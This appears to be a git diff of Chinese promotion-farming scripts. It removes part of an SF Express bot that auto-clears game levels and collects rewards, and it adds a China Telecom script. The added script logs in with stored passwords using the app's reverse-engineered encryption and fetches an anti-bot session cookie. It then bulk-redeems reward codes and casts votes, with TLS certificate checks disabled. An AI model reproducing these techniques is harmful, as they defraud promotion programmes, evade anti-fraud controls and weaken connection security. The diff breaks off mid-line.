False - - def DRAGONBOAT_2024_Game_indexInfo(self): - Log('🎭 开始推财神游戏') - try: - payload = {} - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~yearEnd2024GameService~indexInfo' - - response = self.do_request(url, payload) - # print(response) - if response.get('success'): - obj = response.get('obj', [{}]) - maxPassLevel = obj.get('maxPassLevel', '') - ifPassAllLevel = obj.get('ifPassAllLevel', '') - if maxPassLevel != 30: - self.DRAGONBOAT_2024_win(maxPassLevel) - else: - self.DRAGONBOAT_2024_win(0) - - else: - error_message = response.get('errorMessage', '无返回') - if '没有资格参与活动' in error_message: - self.DRAGONBOAT_2024_black = True - Log('📝 会员日任务风控') - return False - except Exception as e: - print(e) - return False - - def DRAGONBOAT_2024_Game_init(self): - Log('🎭 开始推财神游戏') - try: - payload = {} - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~yearEnd2024GameService~init' - - response = self.do_request(url, payload) - # print(response) - if response.get('success'): - obj = response.get('obj', [{}]) - currentIndex = obj.get('currentIndex', '') - ifPassAllLevel = obj.get('ifPassAllLevel', '') - if currentIndex != 30: - self.DRAGONBOAT_2024_win(currentIndex) - else: - self.DRAGONBOAT_2024_win(0) - - else: - error_message = response.get('errorMessage', '无返回') - if '没有资格参与活动' in error_message: - self.DRAGONBOAT_2024_black = True - Log('📝 会员日任务风控') - return False - except Exception as e: - print(e) - return False - - def DRAGONBOAT_2024_weeklyGiftStatus(self): - print('📝 查询每周礼包领取状态') - try: - payload = {} - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~yearEnd2024IndexService~weeklyGiftStatus' - - response = self.do_request(url, payload) - # print(response) - if response.get('success'): - obj = response.get('obj', [{}]) - for gift in obj: - received = gift['received'] - receiveStartTime = gift['receiveStartTime'] - receiveEndTime = gift['receiveEndTime'] - print(f'📝 领取时间:【{receiveStartTime} 至 {receiveEndTime}】') - if received: - print('📝 该礼包已领取') - continue - receive_start_time = datetime.strptime(receiveStartTime, "%Y-%m-%d %H:%M:%S") - receive_end_time = datetime.strptime(receiveEndTime, "%Y-%m-%d %H:%M:%S") - is_within_range = receive_start_time <= datetime.now() <= receive_end_time - if is_within_range: - print(f'🎁 开始领取礼包:') - self.DRAGONBOAT_2024_receiveWeeklyGift() - else: - error_message = response.get('errorMessage', '无返回') - if '没有资格参与活动' in error_message: - self.DRAGONBOAT_2024_black = True - Log('📝 会员日任务风控') - except Exception as e: - print(e) - - def DRAGONBOAT_2024_receiveWeeklyGift(self): - invite_user_id = random.choice([invite for invite in inviteId if invite != self.user_id]) - try: - payload = {"inviteUserId": invite_user_id} - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~yearEnd2024IndexService~receiveWeeklyGift' - - response = self.do_request(url, payload) - # print(response) - if response.get('success'): - obj = response.get('obj', [{}]) - if obj == [{}]: - print('📝 领取失败') - return False - for gifts in obj: - productName = gifts['productName'] - amount = gifts['amount'] - print(f'🎁 领取【{productName} x {amount}】成功') - else: - error_message = response.get('errorMessage', '无返回') - if '没有资格参与活动' in error_message: - self.DRAGONBOAT_2024_black = True - Log('📝 会员日任务风控') - except Exception as e: - print(e) - - def DRAGONBOAT_2024_taskList(self): - print('📝 查询推币任务列表') - try: - payload = { - "activityCode": "DRAGONBOAT_2024", - "channelType": "MINI_PROGRAM" - } - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~activityTaskService~taskList' - - response = self.do_request(url, payload) - # print(response) - if response.get('success'): - obj = response.get('obj', [{}]) - for task in obj: - taskType = task['taskType'] - self.taskName = task['taskName'] - status = task['status'] - if status == 3: - Log(f'📝 任务【{self.taskName}】已完成') - continue - self.taskCode = task.get('taskCode', None) - if self.taskCode: - self.DRAGONBOAT_2024_finishTask() - if taskType == 'PLAY_ACTIVITY_GAME': - self.DRAGONBOAT_2024_Game_init() - else: - error_message = response.get('errorMessage', '无返回') - if '没有资格参与活动' in error_message: - self.DRAGONBOAT_2024_black = True - Log('📝 会员日任务风控') - except Exception as e: - print(e) - - def DRAGONBOAT_2024_coinStatus(self, END=False): - Log('📝 查询金币信息') - # try: - payload = {} - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~yearEnd2024CoinService~coinStatus' - - response = self.do_request(url, payload) - # print(response) - if response.get('success'): - obj = response.get('obj', None) - if obj == None: return False - accountCurrencyList = obj.get('accountCurrencyList', []) - pushedTimesToday = obj.get('pushedTimesToday', '') - pushedTimesTotal = obj.get('pushedTimesTotal', '') - PUSH_TIMES_balance = 0 - self.COIN_balance = 0 - WELFARE_CARD_balance = 0 - for li in accountCurrencyList: - if li['currency'] == 'PUSH_TIMES': - PUSH_TIMES_balance = li['balance'] - if li['currency'] == 'COIN': - self.COIN_balance = li['balance'] - if li['currency'] == 'WELFARE_CARD': - WELFARE_CARD_balance = li['balance'] - - PUSH_TIMES = PUSH_TIMES_balance - if END: - if PUSH_TIMES_balance > 0: - for i in range(PUSH_TIMES_balance): - print(f'📝 开始第【{PUSH_TIMES_balance + 1}】次推币') - self.DRAGONBOAT_2024_pushCoin() - PUSH_TIMES -= 1 - pushedTimesToday += 1 - pushedTimesTotal += 1 - Log(f'📝 剩余推币次数:【{PUSH_TIMES}】') - Log(f'📝 当前金币:【{self.COIN_balance}】') - # Log(f'> 当前发财卡:【{WELFARE_CARD_balance}】') - Log(f'📝 今日推币:【{pushedTimesToday}】次') - Log(f'📝 总推币:【{pushedTimesTotal}】次') - else: - print(f'📝 剩余推币次数:【{PUSH_TIMES_balance}】') - print(f'📝 当前金币:【{self.COIN_balance}】') - # Log(f'> 当前发财卡:【{WELFARE_CARD_balance}】') - print(f'📝 今日推币:【{pushedTimesToday}】次') - print(f'📝 总推币:【{pushedTimesTotal}】次') - - self.DRAGONBOAT_2024_givePushTimes() - else: - error_message = response.get('errorMessage', '无返回') - if '没有资格参与活动' in error_message: - self.DRAGONBOAT_2024_black = True - Log('📝 会员日任务风控') - # except Exception as e: - # print(e) - - def DRAGONBOAT_2024_pushCoin(self): - try: - payload = {"plateToken": None} - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~yearEnd2024CoinService~pushCoin' - - response = self.do_request(url, payload) - # print(response) - if response.get('success'): - obj = response.get('obj', [{}]) - drawAward = obj.get('drawAward', '') - self.COIN_balance += drawAward - print(f'📝 获得:【{drawAward}】金币') - - else: - error_message = response.get('errorMessage', '无返回') - if '没有资格参与活动' in error_message: - self.DRAGONBOAT_2024_black = True - Log('📝 会员日任务风控') - except Exception as e: - print(e) - - def DRAGONBOAT_2024_givePushTimes(self): - Log('🎁 领取赠送推币次数') - try: - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~yearEnd2024CoinService~givePushTimes' - - response = self.do_request(url) - # print(response) - if response.get('success'): - obj = response.get('obj', 0) - print(f'🎁 获得:【{obj}】次推币机会') - else: - error_message = response.get('errorMessage', '无返回') - if '没有资格参与活动' in error_message: - self.DRAGONBOAT_2024_black = True - Log('📝 会员日任务风控') - print(error_message) - except Exception as e: - print(e) - - def DRAGONBOAT_2024_finishTask(self): - try: - payload = { - "taskCode": self.taskCode - } - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberEs~taskRecord~finishTask' - - response = self.do_request(url, payload) - # print(response) - if response.get('success'): - obj = response.get('obj', False) - Log(f'📝 完成任务【{self.taskName}】成功') - else: - error_message = response.get('errorMessage', '无返回') - if '没有资格参与活动' in error_message: - self.DRAGONBOAT_2024_black = True - Log('📝 会员日任务风控') - except Exception as e: - print(e) - - def DRAGONBOAT_2024_win(self, level): - try: - for i in range(level,16): - print(f'开始第【{i}】关') - payload = {"levelIndex": i} - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~yearEnd2024GameService~win' - - response = self.do_request(url, payload) - # print(response) - if response.get('success'): - obj = response.get('obj', [{}]) - currentAwardList = obj.get('currentAwardList', []) - if currentAwardList != []: - for award in currentAwardList: - currency = award.get('currency', '') - amount = award.get('amount', '') - print(f'> 获得:【{currency}】x{amount}') - else: - print(f'> 本关无奖励') - # random_time =random.randint(10,15) - # print(f'>> 等待{random_time}秒 <<') - # time.sleep(random_time) - else: - error_message = response.get('errorMessage', '无返回') - print(error_message) - if '没有资格参与活动' in error_message: - self.DRAGONBOAT_2024_black = True - Log('会员日任务风控') - except Exception as e: - print(e) - - def main(self): - global one_msg - wait_time = random.randint(1000, 3000) / 1000.0 - time.sleep(wait_time) - one_msg = '' - if not self.login_res: return False - - print('\n' + '='*30 + '🚚 顺丰速运 开始执行 🚚' + '='*30 + '\n') - - # 执行签到任务 - self.sign() - self.superWelfare_receiveRedPacket() - self.get_SignTaskList() - self.get_SignTaskList(True) - - # 执行丰蜜任务 - self.get_honeyTaskListStart() - self.honey_indexData() - self.honey_indexData(True) - - target_time = datetime(2025, 4, 8, 19, 0) - if datetime.now() < target_time: - self.EAR_END_2023_TaskList() - #self.anniversary2024_task() - else: - print('🎭 周年庆活动已结束') - - current_date = datetime.now().day - if 26 <= current_date <= 28: - self.member_day_index() - else: - print('⏰ 未到指定时间不执行会员日任务') - - print('\n' + '='*30 + '🚚 顺丰速运 执行完毕 🚚' + '='*30 + '\n') - - self.sendMsg() - return True - - def sendMsg(self, help=False): - #send("顺丰-通知", one_msg) - pass - -def get_quarter_end_date(): - current_date = datetime.now() - current_month = current_date.month - current_year = current_date.year - - # 计算下个季度的第一天 - next_quarter_first_day = datetime(current_year, ((current_month - 1) // 3 + 1) * 3 + 1, 1) - - # 计算当前季度的最后一天 - quarter_end_date = next_quarter_first_day - timedelta(days=1) - - return quarter_end_date.strftime("%Y-%m-%d") - - -def is_activity_end_date(end_date): - current_date = datetime.now().date() - end_date = datetime.strptime(end_date, "%Y-%m-%d").date() - - return current_date == end_date - - -def down_file(filename, file_url): - print(f'开始下载:{filename},下载地址:{file_url}') - try: - response = requests.get(file_url, verify=False, timeout=10) - response.raise_for_status() - with open(filename + '.tmp', 'wb') as f: - f.write(response.content) - print(f'【{filename}】下载完成!') - - # 检查临时文件是否存在 - temp_filename = filename + '.tmp' - if os.path.exists(temp_filename): - # 删除原有文件 - if os.path.exists(filename): - os.remove(filename) - # 重命名临时文件 - os.rename(temp_filename, filename) - print(f'【{filename}】重命名成功!') - return True - else: - print(f'【{filename}】临时文件不存在!') - return False - except Exception as e: - print(f'【{filename}】下载失败:{str(e)}') - return False - - -def import_Tools(): - global CHERWIN_TOOLS, ENV, APP_INFO, TIPS, TIPS_HTML, AuthorCode - import CHERWIN_TOOLS - ENV, APP_INFO, TIPS, TIPS_HTML, AuthorCode = CHERWIN_TOOLS.main(APP_NAME, local_script_name, ENV_NAME, - local_version) - - -if __name__ == '__main__': - APP_NAME = '顺丰速运' - ENV_NAME = 'sfsyUrl' - CK_NAME = 'url' - local_script_name = os.path.basename(__file__) - local_version = '2025.01.24' - token = os.getenv(ENV_NAME) - # 将分隔符从\n改为& - tokens = token.split('&') - # print(tokens) - if len(tokens) > 0: - print(f"\n{'='*30} 🚚 共获取到{len(tokens)}个账号 🚚 {'='*30}\n") - for index, infos in enumerate(tokens): - run_result = RUN(infos, index).main() - if not run_result: continue \ No newline at end of file diff --git a/电信口令.py b/电信口令.py new file mode 100644 index 0000000..7ed1dc8 --- /dev/null +++ b/电信口令.py @@ -0,0 +1,706 @@ +# 非青龙下在文件开头添加账号配置, +# process.env.chinaTelecomAccount = ` +# 13454545457#123456 +# 13454545457#456789 +# `.trim(); + +''' +变量:chinaTelecomAccount +变量格式: 手机号#服务密码 +多号创建多个变量或者换行、&隔开 +''' +import os +import re +import sys +import ssl +import time +import json +import httpx +import base64 +import random +import certifi +import aiohttp +import asyncio +import logging +import datetime +import requests +import binascii +from http import cookiejar +from Crypto.Cipher import AES +from Crypto.Cipher import DES3 +from Crypto.PublicKey import RSA +from urllib.parse import urlparse +from Crypto.Cipher import PKCS1_v1_5 +from Crypto.Util.Padding import pad, unpad +from aiohttp import ClientSession, TCPConnector +from tenacity import ( + retry, + stop_after_attempt, + wait_exponential, + retry_if_exception_type +) +import pandas as pd + +apptoken = "" + +MAX_RETRIES = 3 +RATE_LIMIT = 10 + +class RateLimiter: + def __init__(self, rate_limit): + self.rate_limit = rate_limit + self.tokens = rate_limit + self.updated_at = time.monotonic() + + async def acquire(self): + while self.tokens < 1: + self.add_new_tokens() + await asyncio.sleep(0.1) + self.tokens -= 1 + + def add_new_tokens(self): + now = time.monotonic() + time_since_update = now - self.updated_at + new_tokens = time_since_update * self.rate_limit + if new_tokens > 1: + self.tokens = min(self.tokens + new_tokens, self.rate_limit) + self.updated_at = now +class AsyncSessionManager: + def __init__(self, timeout=None): + self.client = None + self.timeout = timeout or httpx.Timeout(60.0, connect=30.0, read=30.0, write=30.0) + + async def __aenter__(self): + ssl_context = ssl.create_default_context(cafile=certifi.where()) + ssl_context.set_ciphers('DEFAULT@SECLEVEL=1') + + self.client = httpx.AsyncClient( + verify=ssl_context, + limits=httpx.Limits(max_connections=100, max_keepalive_connections=20), + timeout=self.timeout + ) + return self.client + + async def __aexit__(self, exc_type, exc_val, exc_tb): + if self.client: + await self.client.aclose() + +async def retry_request2(session, method, url, **kwargs): + for attempt in range(MAX_RETRIES): + try: + response=await session.request(method, url, **kwargs) + return await response + except aiohttp.ClientError as e: + if attempt == MAX_RETRIES - 1: + raise + await asyncio.sleep(2 ** attempt) + +async def retry_request(session, method, url, **kwargs): + for attempt in range(MAX_RETRIES): + try: + await asyncio.sleep(1) + response=await session.request(method, url, **kwargs) + return response.json() + + except (aiohttp.ClientConnectionError, aiohttp.ServerTimeoutError) as e: + print(f"请求失败,第 {attempt + 1} 次重试: {e}") + if attempt == MAX_RETRIES - 1: + raise + await asyncio.sleep(2 ** attempt) + +class BlockAll(cookiejar.CookiePolicy): + return_ok = set_ok = domain_return_ok = path_return_ok = lambda self, *args, **kwargs: False + netscape = True + rfc2965 = hide_cookie2 = False + +def printn(m): + print(f'\n{m}') + +context = ssl.create_default_context() +context.set_ciphers('DEFAULT@SECLEVEL=1') +context.check_hostname = False +context.verify_mode = ssl.CERT_NONE + +class DESAdapter(requests.adapters.HTTPAdapter): + def init_poolmanager(self, *args, **kwargs): + kwargs['ssl_context'] = context + return super().init_poolmanager(*args, **kwargs) + +requests.packages.urllib3.disable_warnings() +ss = requests.session() +ss.headers={"User-Agent":"Mozilla/5.0 (Linux; Android 13; 22081212C Build/TKQ1.220829.002) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.97 Mobile Safari/537.36","Referer":"https://wapact.189.cn:9001/JinDouMall/JinDouMall_independentDetails.html"} +ss.mount('https://', DESAdapter()) +ss.cookies.set_policy(BlockAll()) +runTime = 0 +lock = asyncio.Lock() +event = asyncio.Event() +ready_count = 0 +diffValue = 0 +# current_time = datetime.datetime.now().strftime("%Y%m%d-%H-%M-%S") +log_filename = f'.电信等级权益日志.log' +logging.basicConfig(level=logging.CRITICAL, + format='%(asctime)s -- %(message)s', + datefmt='%Y-%m-%d %H:%M:%S', + filename=log_filename, + filemode='a', encoding='utf-8') +logger = logging.getLogger(__name__) +ip_list = [] +load_token_file = 'chinaTelecom_cache.json' + +try: + with open(load_token_file, 'r') as f: + load_token = json.load(f) +except: + load_token = {} +key = b'1234567`90koiuyhgtfrdews' +iv = 8 * b'\0' +public_key_b64 = '''-----BEGIN PUBLIC KEY----- +MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDBkLT15ThVgz6/NOl6s8GNPofdWzWbCkWnkaAm7O2LjkM1H7dMvzkiqdxU02jamGRHLX/ZNMCXHnPcW/sDhiFCBN18qFvy8g6VYb9QtroI09e176s+ZCtiv7hbin2cCTj99iUpnEloZm19lwHyo69u5UMiPMpq0/XKBO8lYhN/gwIDAQAB +-----END PUBLIC KEY-----''' + +public_key_data = '''-----BEGIN PUBLIC KEY----- +MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC+ugG5A8cZ3FqUKDwM57GM4io6JGcStivT8UdGt67PEOihLZTw3P7371+N47PrmsCpnTRzbTgcupKtUv8ImZalYk65dU8rjC/ridwhw9ffW2LBwvkEnDkkKKRi2liWIItDftJVBiWOh17o6gfbPoNrWORcAdcbpk2L+udld5kZNwIDAQAB +-----END PUBLIC KEY-----''' + +def ttt(hour,minute,second): + date = datetime.datetime.now() + date_zero = datetime.datetime.now().replace(year=date.year, month=date.month, day=date.day, hour=hour, minute=int(minute),second=int(second)) + date_zero_time = int(time.mktime(date_zero.timetuple())) + return date_zero_time +def encrypt(text): + cipher = DES3.new(key, DES3.MODE_CBC, iv) + ciphertext = cipher.encrypt(pad(text.encode(), DES3.block_size)) + return ciphertext.hex() + +def decrypt(text): + ciphertext = bytes.fromhex(text) + cipher = DES3.new(key, DES3.MODE_CBC, iv) + plaintext = unpad(cipher.decrypt(ciphertext), DES3.block_size) + return plaintext.decode() + +def b64(plaintext): + public_key = RSA.import_key(public_key_b64) + cipher = PKCS1_v1_5.new(public_key) + ciphertext = cipher.encrypt(plaintext.encode()) + return base64.b64encode(ciphertext).decode() + +def encrypt_para2(plaintext): + public_key = RSA.import_key(public_key_data) + cipher = PKCS1_v1_5.new(public_key) + ciphertext = cipher.encrypt(plaintext.encode()) + return ciphertext.hex() + +def encrypt_para(plaintext): + if not isinstance(plaintext, str): + plaintext = json.dumps(plaintext) + public_key = RSA.import_key(public_key_data) + cipher = PKCS1_v1_5.new(public_key) + ciphertext = cipher.encrypt(plaintext.encode()) + return binascii.hexlify(ciphertext).decode() + +def encode_phone(text): + encoded_chars = [] + for char in text: + encoded_chars.append(chr(ord(char) + 2)) + return ''.join(encoded_chars) + +def ophone(t): + key = b'34d7cb0bcdf07523' + utf8_key = key.decode('utf-8') + utf8_t = t.encode('utf-8') + cipher = AES.new(key, AES.MODE_ECB) + ciphertext = cipher.encrypt(pad(utf8_t, AES.block_size)) + return ciphertext.hex() + +def get_first_three(value): + if isinstance(value, (int, float)): + return int(str(value)[:3]) + elif isinstance(value, str): + if len(value) >= 11: # 如果是手机号,显示前3位和后4位 + return value[:3] + value[3:7] + value[-4:] # 显示完整号码 + return str(value)[:3] # 其他字符串只返回前三位 + else: + raise TypeError("非数字非字符串类型无法截取前三位") + +def mask_middle_four(value): + if isinstance(value, str): + if len(value) >= 11: + return value[:3] + "####" + value[-4:] + else: + raise ValueError("输入的字符串长度不足以截取中间四位") + else: + raise TypeError("输入类型错误,应为字符串") + +def getApiTime(api_url): + pass + +def send(uid,content): + + r = requests.post('https://wxpusher.zjiecode.com/api/send/message',json={"appToken":apptoken,"content":content,"contentType":1,"uids":[uid]}).json() + return r + +def userLoginNormal(phone,password): + try: + alphabet = 'abcdef0123456789' + uuid = [''.join(random.sample(alphabet, 8)),''.join(random.sample(alphabet, 4)),'4'+''.join(random.sample(alphabet, 3)),''.join(random.sample(alphabet, 4)),''.join(random.sample(alphabet, 12))] + timestamp=datetime.datetime.now().strftime("%Y%m%d%H%M%S") + loginAuthCipherAsymmertric = 'iPhone 14 15.4.' + uuid[0] + uuid[1] + phone + timestamp + password[:6] + '0$$$0.' + + # 打印请求信息 + print(f"\n开始登录请求 - 手机号: {get_first_three(phone)}") + + r = ss.post('https://appgologin.189.cn:9031/login/client/userLoginNormal', + json={ + "headerInfos": { + "code": "userLoginNormal", + "timestamp": timestamp, + "broadAccount": "", + "broadToken": "", + "clientType": "#9.6.1#channel50#iPhone 14 Pro Max#", + "shopId": "20002", + "source": "110003", + "sourcePassword": "Sid98s", + "token": "", + "userLoginName": phone + }, + "content": { + "attach": "test", + "fieldData": { + "loginType": "4", + "accountType": "", + "loginAuthCipherAsymmertric": b64(loginAuthCipherAsymmertric), + "deviceUid": uuid[0] + uuid[1] + uuid[2], + "phoneNum": encode_phone(phone), + "isChinatelecom": "0", + "systemVersion": "15.4.0", + "authentication": password + } + } + }, + verify=certifi.where() + ).json() + + # 打印响应信息 + print(f"登录响应: {r}") + + # 检查登录结果 + if r.get('responseData', {}).get('resultCode') != '0000': + error_msg = r.get('responseData', {}).get('resultDesc', '未知错误') + print(f"登录失败 - 错误信息: {error_msg}") + return False + + try: + l = r.get('responseData', {}).get('data', {}).get('loginSuccessResult') + except AttributeError: + print("登录响应格式异常") + l = None + + if l: + load_token[phone] = l + with open(load_token_file, 'w') as f: + json.dump(load_token, f) + ticket = get_ticket(phone,l['userId'],l['token']) + return ticket + + print(f"登录失败 - 无法获取登录成功结果") + return False + + except Exception as e: + print(f"登录过程发生异常: {str(e)}") + return False + +async def exchangeForDay(phone, session, runTime, rid, stime,ckvalue,jsexec): + async def delayed_conversion(delay): + await asyncio.sleep(delay) + await conversionRights(phone, rid,session,ckvalue,jsexec) + + tasks = [asyncio.create_task(delayed_conversion(i * stime)) for i in range(int(runTime))] + await asyncio.gather(*tasks) +def get_ticket(phone,userId,token): + r = ss.post('https://appgologin.189.cn:9031/map/clientXML',data='getSingle'+datetime.datetime.now().strftime("%Y%m%d%H%M%S")+'#9.6.1#channel50#iPhone 14 Pro Max#20002110003Sid98s'+token+''+phone+'test'+encrypt(userId)+'4a6862274835b451',headers={'user-agent': 'CtClient;10.4.1;Android;13;22081212C;NTQzNzgx!#!MTgwNTg1'},verify=certifi.where()) + tk = re.findall('(.*?)',r.text) + if len(tk) == 0: + return False + return decrypt(tk[0]) + +async def exchange2(session, phone, title, aid, jsexec): + printn(f"{str(datetime.datetime.now())[11:23]} {get_first_three(phone)}") + await asyncio.sleep(5) #测试网络延迟,弃用 + return printn(f"{str(datetime.datetime.now())[11:23]} {get_first_three(phone)}") + + + +async def getConversionRights(phone, aid): + pass +@retry( + stop=stop_after_attempt(1), + wait=wait_exponential(multiplier=1, min=4, max=10), + retry_error_callback=lambda retry_state: print(f"Retrying conversionRights, attempt {retry_state.attempt_number}") +) +async def conversionRights(phone, aid,SS,ckvalue,jsexec): + pass +def sync_before_sleep(retry_state, phone, SS, ticket): + pass + +async def before_sleep(retry_state, phone, SS, ticket): + pass + +@retry( + stop=stop_after_attempt(3), + wait=wait_exponential(multiplier=1, min=4, max=10), + retry=retry_if_exception_type((httpx.ReadTimeout, httpx.HTTPError, ZeroDivisionError)), + before_sleep=lambda retry_state: sync_before_sleep(retry_state, retry_state.args[0], retry_state.args[1], retry_state.args[2]) +) +async def getLevelRightsList(phone, SS, jsexec, **kwargs): + pass + +async def getSign(ticket,SS,ckvalue): + try: + response_data =await SS.get('https://wapside.189.cn:9001/jt-sign/ssoHomLogin?ticket=' + ticket,cookies=ckvalue) + response_data = response_data.json() + if response_data.get('resoultCode') == '0': + sign = response_data.get('sign') + return sign + else: + print(f"获取sign失败[{response_data.get('resoultCode')}]: {response_data}") + except Exception as e: + print(e) + return None + + +async def parse_cookies(ck,rsCK): + cookies = {} + for part in ck.split(';'): + part = part.strip() + if '=' in part: + key, value = part.split('=', 1) + if 'path' not in key and 'expires' not in key and 'Secure' not in key and 'SameSite' not in key: + cookies[key] = value + cookies["yiUIIlbdQT3fO"] = rsCK + return cookies +async def ascii_add_2(number_str): + transformed = ''.join(chr(ord(char) + 2) for char in number_str) + return transformed +all_results = [] + +async def dxTask(phone, ticket, phoneV): + global diffValue, ready_count + retry_count = 0 + max_retries = 3 + + results = [] + + def format_message(msg): + """格式化错误消息""" + if "省编码校验失败" in msg: + return "非本号省口令" + elif "券码已使用" in msg: + return "已使用" + return msg + + while retry_count < max_retries: + try: + async with AsyncSessionManager() as s: + phone2V=await ascii_add_2(phone) + if 0== 0: + payload = { + "appType": "02", + "authCode": ticket, + "loginType": "1" + } + s.headers.update({ + 'Accept': "application/json, text/plain, */*", + 'Cache-Control': "no-cache", + 'appType': "02", + 'userId': "", + 'Content-Type': "application/json;charset=UTF-8", + 'sessionKey': "", + 'Origin': "https://wapact.189.cn:9001", + 'Referer': "https://wapact.189.cn:9001/flcj1/", + }) + response=await s.post('https://wapact.189.cn:9001/yzf1/dispatch/login', data=json.dumps(payload)) + if response.status_code == 200: + print(f"账户:{get_first_three(phone)} 登录兑换任务成功") + login = response.json() + if login['success'] == True: + phone2V=await ascii_add_2(phone) + useridv=login["result"]["userId"] + sessionKey=login["result"]["sessionKey"] + if useridv: + for code in WELFARE_CODES: + print("开始兑换口令码:",code) + convertpayload = { + "userId": useridv, + "code": code, + "telephone": phone2V, + "isNewUser": "0" + } + + s.headers.update({ + 'userId':useridv, + 'sessionKey': sessionKey, + }) + response=await s.post('https://wapact.189.cn:9001/yzf1/welfare/convert', data=json.dumps(convertpayload)) + if response.status_code == 200: + convert=response.json() + if convert.get('success') == True: + results.append({ + 'phone': get_first_three(phone), + 'code': code, + 'status': '✓', + 'message': '成功', + 'time': datetime.datetime.now().strftime("%H:%M:%S") + }) + else: + results.append({ + 'phone': get_first_three(phone), + 'code': code, + 'status': '✗', + 'message': format_message(convert.get('errorMsg')), + 'time': datetime.datetime.now().strftime("%H:%M:%S") + }) + + + welfarelistUrl=f"https://wapact.189.cn:9001/yzf1/welfare/list?userId={useridv}&telephone={phone2V}"+"&state=0&size=100&page=0"#state=1所有完成的,state=0查看未完成 + print("领取可能不及时到账,延迟5秒再去奖券查找可领取的奖品。") + await asyncio.sleep(5) + response=await s.get(welfarelistUrl) + + if response.status_code == 200: + datavv=response.json() + if datavv.get('success') != True: + print("领取异常:",datavv) + return + if datavv.get('result') is not None and len(datavv['result']) > 0 and datavv['result'][0] is not None: + dataVVVVList=datavv['result'] + for dataVVVV in dataVVVVList: + if dataVVVV['name'] is not None and '元' in dataVVVV['name']: + taskId = dataVVVV["id"] + print("开始领取", dataVVVV['name']) + verifypayload = { + "userId": useridv, + "id": taskId, + "telephone": phone2V, + "source": "1" + } + await asyncio.sleep(5) + try: + response = await s.post( + 'https://wapact.189.cn:9001/yzf1/welfare/verify', + data=json.dumps(verifypayload) + ) + if response.status_code == 200: + verify = response.json() + if verify.get('success') == True: + results.append({ + 'phone': get_first_three(phone), + 'code': dataVVVV['name'], + 'status': '✓', + 'message': '成功', + 'time': datetime.datetime.now().strftime("%H:%M:%S") + }) + else: + results.append({ + 'phone': get_first_three(phone), + 'code': dataVVVV['name'], + 'status': '✗', + 'message': format_message(verify.get('errorMsg')), + 'time': datetime.datetime.now().strftime("%H:%M:%S") + }) + except Exception as e: + print(f"验证请求失败: {str(e)}") + else: + print("奖券已无可领取奖品或延迟不到账稍后重试:", datavv) + else: + print("领取失败:", datavv) + break + + except Exception as e: + retry_count += 1 + if retry_count >= max_retries: + print(f"账号 {get_first_three(phone)} 达到最大重试次数,跳过") + break + print(f"账号 {get_first_three(phone)} 发生错误: {str(e)}, 第 {retry_count} 次重试") + await asyncio.sleep(5 * retry_count) + if results: + global all_results + all_results.extend(results) + + +async def get_session(session_pool): + return session_pool[random.randint(0, len(session_pool) - 1)] +async def xbkset_request(ss,url): + response=await ss.get(url) + if response.status_code == 200: + rsCK = re.findall('SESSION=([^;]+)',response.headers['Set-Cookie'])[0] + return response.json(), rsCK + else: + print("瑞数失败") + return response.json(),None + return response.json(), None + +async def addVotingRecord(session,phone, ticket): + codeValue="ACTCODE20241212V8LHJF5Y" + restfulurl="https://wapact.189.cn:9001/mas-pub-web/spm/restful" + restfulurl+=f"?method=setRedisPagesJson&activityCode={codeValue}&pageId=&activityId=&phoneNum=&previewType=&subPageLinkCode=&isPreview=" + session.headers.update({ + 'activityCode': codeValue, + 'yxai': codeValue, + 'ticket': ticket, + }) + dataxb, SESSION = await xbkset_request(session, restfulurl) + + url = "https://wapact.189.cn:9001/mas-pub-web/component/addVotingRecord" + payload = { + "groupId": 2067, + "contentId": "1b7b42c3a7824005bad832d3a2d925a5" + } + headers = { + 'Host': "wapact.189.cn:9001", + 'User-Agent': "CtClient;11.3.0;Android;12;Redmi K30 Pro;MDM3MzE2!#!MTMxODk", + 'Accept': "application/json, text/plain, */*", + 'Accept-Encoding': "gzip, deflate, br, zstd", + 'Content-Type': "application/json", + 'sec-ch-ua-platform': "\"Android\"", + 'activityCode': "ACTCODE20241212V8LHJF5Y", + 'sec-ch-ua': "\"Android WebView\";v=\"131\", \"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", + 'sec-ch-ua-mobile': "?1", + 'id': "", + 'wyopenid': "", + 'Content-Type': "application/json;charset=UTF-8", + 'activityId': "", + 'ticket': str(ticket), + 'wyDataStr': "", + 'masEnv': "android", + 'yxai': "ACTCODE20241212V8LHJF5Y", + 'wycorpId': "", + 'Origin': "https://wapact.189.cn:9001", + 'X-Requested-With': "com.ct.client", + 'Sec-Fetch-Site': "same-origin", + 'Sec-Fetch-Mode': "cors", + 'Sec-Fetch-Dest': "empty", + 'Accept-Language': "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + 'Cookie': f'SESSION={SESSION}' + } + res=await session.post(url, data=json.dumps(payload), headers=headers) + if res.status_code == 200: + res = res.json() + if res.get("code") is not None: + if res.get("msg") is not None: + print("👍") + pass + time.sleep(3) + +async def AI_Yun1(phone, ticket): + global diffValue, ready_count + timeout_config = httpx.Timeout(30.0, connect=60.0, read=60.0) + async with AsyncSessionManager( timeout=timeout_config) as session: + await addVotingRecord(session,phone, ticket) + await asyncio.sleep(0.1) + +async def main(isTrue): + tasks = [] + + phone_list = PHONES.split('\n') + total_tasks = len(phone_list) + print(f"总任务数:{total_tasks}") + semaphore = asyncio.Semaphore(5) + + async def wrapped_task(phone_info, ticket, phoneV): + async with semaphore: + currtime = datetime.datetime.now() + if currtime > datetime.datetime.strptime("2025-02-21 00:00:00", "%Y-%m-%d %H:%M:%S"): + pass + else: + await 